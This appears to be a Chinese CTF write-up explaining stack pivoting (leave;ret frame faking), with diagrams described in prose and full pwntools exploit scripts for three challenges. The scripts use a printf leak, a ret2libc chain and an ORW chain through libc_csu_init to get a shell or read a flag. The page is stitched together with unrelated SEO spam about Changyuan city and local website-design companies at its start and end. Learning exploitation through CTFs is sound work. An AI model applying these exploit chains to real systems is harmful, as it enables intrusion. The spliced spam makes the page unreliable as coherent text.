长垣网络公司哪家好【长垣企业网站百度SEO推广公司】长垣做网站开发价格、长垣淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、长垣高端企业网站页面制作设计专业公司需要多少钱
长垣市,河南省辖县级市,新乡市代管, [1] 位于豫东北地区,介于东经114°29'—114°59'、北纬34°59'—35°23'之间,总面积1051平方千米。 [2] 截至2020年6月,长垣市下辖5个街道、11镇、2乡, [3] 总人口88.18万人(2019年)。 [4] 市政府驻蒲西街道人民路368号。 [1]
前221年,秦改首邑为长垣县。2019年8月,河南省撤销长垣县,设立县级长垣市。 [1] 属暖温带大陆性季风型气候。 [2] 长济高速、大庆—广州高速公路、济东高速公路、新菏铁路、省道308线、213线穿境而过。
长垣市是全国文明城市 [5] 、国家园林县城 [6] 、国家新型城镇化综合试点地区 [7] 、全国科普示范区 [8] 、节水型社会建设达标县 [9] 、国家农产品质量安全县 [10] 、全国农村创新创业典型县 [11] 、革命文物保护利用片区分县。 [12]
frame faking 和 栈迁移的理解 和 例题详解(含图示)
leave_ret:
1 2 3 | leave:
move esp,ebp;
pop ebp;(esp = esp + 4 )
|
栈迁移大概流程图:
关键点:ebp实际上是个寄存器
例题
1.ciscn_4_s:
看程序关键部分
这里有两个read,且都是读入到同一个地方
s可储存的大小为0x28 但read可读入0x30
printf %s 结束符是'\0'(所以read读入不为空时候,printf因为遇见结束符才停止,进而可以泄露ebp地址)
这里还有个后面函数 所以这里调用了system 所以我们在后面也可以使用system
0x28太小不足以用一些好的 ROP
我们如果把0x28 全填充为A 栈上的布局如图
而printf %s 要遇见'\0' 才会终止 所以我们可以通过printf 泄露出ebp的地址
从而伪造ebp 实现栈迁移
我们先设计一下exp
这里流程是 read 结束后 要leave_ret 此时 ebp -> fake_ebp_addr
又将会执行一次 leave_ret(即我们放进去的 leave_ret)
move esp,ebp; esp 和 ebp会指向同一位置
pop ebp; 此时ebp指向‘’AAAA“ 且esp=esp+4 指向 system_plt
pop eip 把esp指向的 system_plt 地址填入EIP寄存器中
system_plt 下方的4 * ”A“ 是system_fake_ebp
因为第二次 leave_ret 同样要 pop ebp,pop ebp 后 ebp=’AAAA'
同样要esp=esp+4,所以前四个字节填’AAAA‘
system_plt 放在buf+4的地址
完成pop ebp 后 esp -> system_plt
然后程序会 按照我们栈布局的内容执行,从而getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import *
arch = 32
challenge = "./ciscn_s_4"
local = int (sys.argv[ 1 ])
context(log_level = "debug" ,os = "linux" )
if local:
io = process(challenge)
elf = ELF(challenge)
else :
io = remote( 'node3.buuoj.cn' , 25839 )
elf = ELF(challenge)
if arch = = 64 :
context.arch = 'amd64'
if arch = = 32 :
context.arch = 'i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
def dbg():
gdb.attach(io)
pause()
system = elf.plt[ 'system' ]
leave_ret = 0x080485FD
payload1 = 'A' * 0x24 + 'a' * 4
ru( 'name?' )
sd(payload1)
ru( 'aaaa' )
ebp = u32(re( 4 ).ljust( 4 , '\x00' ))
print 'epb:' + ( hex (ebp))
fake_ebp = ebp - 0x38
payload2 = 'AAAA' + p32(system) + 'AAAA' + p32(fake_ebp + 16 ) + '/bin/sh\x00'
payload2 + = 'A' * ( 0x28 - len (payload2)) + p32(fake_ebp) + p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
|
payload 解释:
fake_ebp:
GDB得到buf_address = 0xffffce20
得到ebp 指向的地址 [ebp]=0xffffce58
1 | offset = 0xffffce58 - 0xffffce20 = 0x38
|
所以我们只要把泄露出的ebp -0x38 就让程序流程从布局好的buf段上执行
2.hitcon-master-lab6
检查保护:
1 2 3 4 5 6 7 | rgzz@ubuntu:~ / work / stack / pivoting$ checksec migration
[ * ] '/home/rgzz/work/stack/pivoting/migration'
Arch: i386 - 32 - little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x8048000 )
|
NX enabled,FULL RELRO
再进IDA 看看程序流程
这里count是个检查 不好反复栈溢出 main 只能跳一次
这里选择通过伪造ebp 通过栈转移 进而控制程序执行流程
这里可以溢出大小为 0x40-0x28=0x18
因为我们每次只能读入0x40 个字节 所以payload要分开写
payload1:
1 | payload1 = flat([ 0x28 * 'A' ,bss + 0x500 ,read_plt, leave_ret, 0 ,bss + 0x500 , 0x100 ])
|
这里payload1 刚好大小0x40
我们先找到一段可以写的bss段 然后把bss+0x500地址作为fake_ebp
fake_ebp就是我们新的stack起始
通过把return_address 地址覆盖为read_plt 进而调用read 向新的stack 写入我们的payload2
gdb 跟一下:
跟到第一个read后发现ebp 已经被我们虚假fake_ebp覆盖了(buf_addr 就是找到bss段+0x500)
马上程序会执行第个read (1)
第read(1) 读入puts.plt , 因为没有现成的system函数可以调用,这里选择通过puts泄露libc基址
泄露后继续利用read(2) 读入 system 地址和'/bin/sh' 从而实现get shell
因为我们要跳到我们填system_address 的地址上所以fake_ebp2=bss+0x400=read(2)读入数据存放地址
当read(2)结束后通过leave_ret 跳到bss+0x400上 进而执行system("/bin/sh")
payload2:
1 2 3 4 5 6 7 8 9 10 | payload2 = flat([bss + 0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
, 0
,bss + 0x400
, 0x100
])
|
payload3:
1 | payload3 = flat([ "aaaa" ,system,bbbb,binsh_addr])
|
图示栈布局程序流程:
exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import *
arch = 32
challenge = "./migration"
local = int (sys.argv[ 1 ])
context(log_level = "debug" ,os = "linux" )
if local:
io = process(challenge)
libc = ELF( '/lib/i386-linux-gnu/libc.so.6' )
elf = ELF(challenge)
else :
io = remote('',)
elf = ELF(challenge)
if arch = = 64 :
context.arch = 'amd64'
if arch = = 32 :
context.arch = 'i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
def dbg():
gdb.attach(io)
pause()
read_plt = elf.plt[ 'read' ]
puts_plt = elf.plt[ 'puts' ]
puts_got = elf.got[ 'puts' ]
bss = elf.bss()
leave_ret = 0x08048504
pop_ebp_ret = 0x0804836d
print 'buf addr:' + hex (bss + 0x500 )
print 'puts_got:' + hex (puts_got)
ru( ':\n' )
payload1 = flat([ 0x28 * 'A' , bss + 0x500 , read_plt, leave_ret, 0 , bss + 0x500 , 0x100 ])
sd(payload1)
payload2 = flat([bss + 0x400 , puts_plt, pop_ebp_ret, puts_got, read_plt, leave_ret, 0 , bss + 0x400 , 0x100 ])
sd(payload2)
puts = u32(io.recv( 4 ))
print 'puts address:' + hex (puts)
libc.address = puts - libc.symbols[ 'puts' ]
binsh_addr = next (libc.search( '/bin/sh' ))
system = libc.symbols[ 'system' ]
payload3 = flat([ 'AAAA' ,system, 'bbbb' ,binsh_addr])
sd(payload3)
itr()
|
exp 中的pop_ebx_ret 是为了弹出在栈上的puts_got 好正常执行 read(0,bss+0x400,0x100)
因为read 的参数是由栈上获取的
题目下载地址:
https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2
总结(1):
get_shell 或者 orw 得到 flag
x64
区别:x64要通过gadget 填入参数
这里拿hgame 2020 week3 的ROP_level2 举例
先看保护:
NX enabled
main function:
发现 可以向buf 地址写内容
有两个read 第一个read 可以读0x100 且是向buf地址写内容(buf 在bss段上)
所以我们可以把栈布局 在buf上 然后通过第二个read 制造一个fake ebp 从而实现栈迁移
把栈执行流程转移到我们之前布局的地址上
这里还发现有seccomp 禁用了execve()
所以这里就通过orw 来直接读flag了
因为这里利用gadget,所以我们先寻找gadget,我们发现rdi 和 rsi 都可以控制,但是rdx不行
后话:(这里调试发现rdx参数是之前read的0x60无影响)
这里我们选择利用libc_csu_init 通用gadget 来控制参数,刚好就利用栈迁移+orw+libc_csu_init 通用gadget
利用总结:
通过第一个read 读入栈布局 通过libc_csu_init 给open,read,put 填入参数
通过第二个read 读入junk_data 伪造fake_ebp 使栈转移到我们刚刚布局的地址上
利用puts 打印flag(puts只需要控制一个参数)
payload1 分成三段来解释:
1 2 3 4 5 | payload1 = './flag\x00\x00'
payload1 + = code([csu_start, 0 , 1 ,open_got, 0 , 0 ,buf_addr,csu_end])
payload1 + = 'A' * 8 + code([ 0 , 1 ,read_got, 0x20 ,bss_stage, 0x4 ,csu_end]) + 0x38 * 'A'
payload1 + = code([pop_rdi,bss_stage,puts_plt])
ru( "so?\n" )
|
section 1:
1 2 | payload1 = './flag\x00\x00'
payload1 + = code([csu_start, 0 , 1 ,open_got, 0 , 0 ,buf_addr,csu_end])
|
open(buf_address,0)
通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头
利用csu_end 里的call来执行
section 2:
1 | payload1 + = 'A' * 8 + code([ 0 , 1 ,read_got, 0x20 ,bss_stage, 0x4 ,csu_end]) + 0x38 * 'A'
|
section1 执行完后由于我们控制rbx==rbp==1 所以不跳转 但是要rsp=rsp+8
这里用'A' * 8 来填充栈 使后面填充的参数正确对应
填充read(fd,address,size)=read(0x4,bss_stage,0x20) , (bss_stage)是读的flag放置的位置
用0x38 作为libc_csu_init gadget利用的结尾平衡栈
section 3:
1 | payload1 + = code([pop_rdi,bss_stage,puts_plt])
|
利用puts打印flag
payload2:
1 | payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
|
前0x50 用"A"填充 利用我们布局的栈地址覆盖用原来的 ebp ,利用leave_ret 实现栈转移
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from pwn import *
arch = 64
challenge = "./ROP_LEVEL2"
local = int (sys.argv[ 1 ])
context(log_level = "debug" ,os = "linux" )
if local:
io = process(challenge)
elf = ELF(challenge)
else :
io = remote( 'node3.buuoj.cn' , 25839 )
elf = ELF(challenge)
if arch = = 64 :
context.arch = 'amd64'
if arch = = 32 :
context.arch = 'i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
leave_ret = 0x40090d
read_plt = elf.plt[ 'read' ]
read_got = elf.got[ 'read' ]
puts_plt = elf.plt[ 'puts' ]
puts_got = elf.got[ 'puts' ]
csu_start = 0x400A3A
csu_end = 0x400A20
open_plt = elf.plt[ 'open' ]
open_got = elf.got[ 'open' ]
bss_stage = elf.bss() + 0x200
buf_addr = 0x6010A0
pop_rdi = 0x400a43
pop_rsi_r15 = 0x400a41
def code(buf):
out1 = b""
for i in buf:
out1 + = p64(i)
return out1
payload1 = './flag\x00\x00'
payload1 + = code([csu_start, 0 , 1 ,open_got, 0 , 0 ,buf_addr,csu_end])
payload1 + = 'A' * 8 + code([ 0 , 1 ,read_got, 0x20 ,bss_stage, 0x4 ,csu_end]) + 0x38 * 'A'
payload1 + = code([pop_rdi,bss_stage,puts_plt])
ru( "so?\n" )
sd(payload1)
sleep( 1 )
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
sd(payload2)
itr()
|
####补充 本地复现需要自己创建一个flag 文件和 some_life_experience文件
长垣网络公司哪家好【长垣企业网站百度SEO推广公司】长垣做网站开发价格、长垣淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、长垣高端企业网站页面制作设计专业公司需要多少钱